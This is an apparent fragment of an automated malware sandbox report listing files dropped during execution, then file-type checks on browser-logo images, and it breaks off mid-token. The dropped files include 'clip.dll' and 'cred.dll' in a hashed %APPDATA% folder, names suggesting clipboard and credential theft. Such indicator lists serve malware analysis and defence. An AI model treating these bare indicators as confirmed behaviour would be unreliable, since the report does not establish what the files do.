[targetUID: 00000000-00003116]6e:T1304,Dropped file: "clip.dll" - Location: [%APPDATA%\006700e5a2ab05\clip.dll]- [targetUID: 00000000-00002164] Dropped file: "cred.dll" - Location: [%APPDATA%\006700e5a2ab05\cred.dll]- [targetUID: 00000000-00002164] Dropped file: "MSJBT4N6.js" - Location: [%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\QQW0X29Y\MSJBT4N6.js]- [targetUID: 00000000-00001864] Dropped file: "3B63PLUY.htm" - Location: [%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\QQW0X29Y\3B63PLUY.htm]- [targetUID: 00000000-00000176] Dropped file: "77EC63BDA74BD0D0E0426DC8F8008506" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00001756] Dropped file: "imagestore.dat" - Location: [%LOCALAPPDATA%\Microsoft\Internet Explorer\imagestore\3mt7jhv\imagestore.dat]- [targetUID: 00000000-00001864] Dropped file: "en-US.4" - Location: [%LOCALAPPDATA%\Microsoft\Internet Explorer\DomainSuggestions\en-US.4]- [targetUID: 00000000-00003780] Dropped file: "739F2FF4259CDC6CBE7B90F1A95601EF" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\739F2FF4259CDC6CBE7B90F1A95601EF]- [targetUID: 00000000-00002356] Dropped file: "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00002356] Dropped file: "24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA]- [targetUID: 00000000-00002824] Dropped file: "0AB67BD4882FB0E09822529CFEB33A58" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\0AB67BD4882FB0E09822529CFEB33A58]- [targetUID: 00000000-00000176] Dropped file: "69C6F6EC64E114822DF688DC12CDD86C" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\69C6F6EC64E114822DF688DC12CDD86C]- [targetUID: 00000000-00001756] Dropped file: "0270780F846F08BEFE0DD8112D932FEF" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\0270780F846F08BEFE0DD8112D932FEF]- [targetUID: 00000000-00002356] Dropped file: "CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA]- [targetUID: 00000000-00001864] Dropped file: "6B2043001D270792DFFD725518EAFE2C" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\6B2043001D270792DFFD725518EAFE2C]- [targetUID: 00000000-00001756] Dropped file: "1QCAN3GL.txt" - Location: [%APPDATA%\Microsoft\Windows\Cookies\1QCAN3GL.txt]- [targetUID: 00000000-00001864] Dropped file: "W0IR0HRN.txt" - Location: [%APPDATA%\Microsoft\Windows\Cookies\W0IR0HRN.txt]- [targetUID: 00000000-00001756] Dropped file: "F2DDCD2B5F37625B82E81F4976CEE400_249A1AAD948A044308274CC39E5A79B2" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\F2DDCD2B5F37625B82E81F4976CEE400_249A1AAD948A044308274CC39E5A79B2]- [targetUID: 00000000-00001864] Dropped file: "F07644E38ED7C9F37D11EEC6D4335E02_2D1FA229671185E6CE5261A2A9B06982" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_2D1FA229671185E6CE5261A2A9B06982]- [targetUID: 00000000-00001864] Dropped file: "265C0DEB29181DD1891051371C5F863A_3177CE6CD1B3852A6EC841765B1A16FB" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_3177CE6CD1B3852A6EC841765B1A16FB]- [targetUID: 00000000-00001864] Dropped file: "E87CE99F124623F95572A696C80EFCAF_802691FEFBCBFDBC6638E7243774E081" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E87CE99F124623F95572A696C80EFCAF_802691FEFBCBFDBC6638E7243774E081]- [targetUID: 00000000-00001864] Dropped file: "80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53]- [targetUID: 00000000-00000176] Dropped file: "7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776]- [targetUID: 00000000-00001864] Dropped file: "EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB]- [targetUID: 00000000-00002356] Dropped file: "35DDEDF268117918D1D277A171D8DF7B_1B752DF6198E90035E1D998D92649365" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\35DDEDF268117918D1D277A171D8DF7B_1B752DF6198E90035E1D998D92649365]- [targetUID: 00000000-00002356]6f:T414,"dinosaur_1_.png" has type "PNG image data 1200 x 800 8-bit/color RGBA non-interlaced" and extension "png" "firefox_1_.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced" and extension "png" "yt_logo_rgb_light_1_.png" has type "PNG image data 1588 x 356 8-bit colormap non-interlaced" and extension "png" "edgium_1_.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced" and extension "png" "Y0L6f5sxdIV_1_.png" has type "PNG image data 283 x 315 8-bit colormap non-interlaced" and extension "png" "chrome_1_.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced" and extension "png" "opera_1_.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced" and extension "png" "O287_AcFyg4_1_.png" has type "PNG image data 20 x 20 8-bit colormap non-interlaced" and extension "png" "O7nelmd9XSI_1_.png" has type "PNG image data 1 x 1 1-bit colormap non-interlaced" and extension "png" "hsts-pixel_1_.gif" has type "GIF image data version 89a 1 x 1" and extension "gif"70:Tc007,"initAft()